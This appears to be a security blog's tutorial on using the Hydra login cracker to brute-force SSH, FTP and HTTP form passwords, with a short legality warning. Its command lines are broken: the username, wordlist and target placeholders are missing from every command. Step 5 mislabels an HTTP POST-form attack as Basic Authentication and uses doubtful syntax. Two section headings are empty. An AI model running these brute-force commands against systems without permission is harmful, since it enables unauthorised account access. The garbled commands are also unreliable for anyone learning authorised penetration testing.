Blog | G5 Cyber Security

Hydra Bruteforce Guide

TL;DR

This guide shows you how to use Hydra to try and guess passwords for various services. It’s a powerful tool, but remember that using it against systems you don’t have permission to test is illegal.

What is Hydra?

Hydra is a parallelized login cracker. It supports many different protocols (like SSH, FTP, HTTP, etc.) and can try various username/password combinations quickly. It’s often used in penetration testing but can also be misused.

Prerequisites

Step-by-step Guide

  1. Basic SSH Bruteforce: This example attempts to brute-force an SSH login.
    hydra -l  -P   ssh
    • Replace <username> with the target username (or use a wordlist for usernames too).
    • Replace <password_list.txt> with the path to your password list file.
    • Replace <target_ip> with the IP address or hostname of the target system.
  2. Specifying a Port: If SSH is running on a non-standard port (e.g., 2222):
    hydra -l  -P   ssh -p 2222
  3. Using Multiple Threads: Increase the number of threads for faster cracking (be careful not to overload the target system).
    hydra -l  -P   ssh -t 16
    • The -t option sets the number of threads (e.g., 16).
  4. Bruteforcing FTP: Example for brute-forcing an FTP login.
    hydra -l  -P   ftp
  5. Bruteforcing HTTP Basic Authentication:
    hydra -l  -P   http-post-form "/login.php:username=^USER^&password=^PASS^":method=POST
    • Replace /login.php with the actual login form URL.
    • Adjust the POST parameters if needed (check the website’s source code).
  6. Using a Username Wordlist: If you have separate wordlists for usernames and passwords:
    hydra -L  -P   ssh
    • Replace <username_list.txt> with the path to your username list file.
  7. Saving Results: Redirect output to a file for later analysis.
    hydra -l  -P   ssh > results.txt
  8. Help and Options: Use the -h option to see all available options.
    hydra -h

Important Considerations

Exit mobile version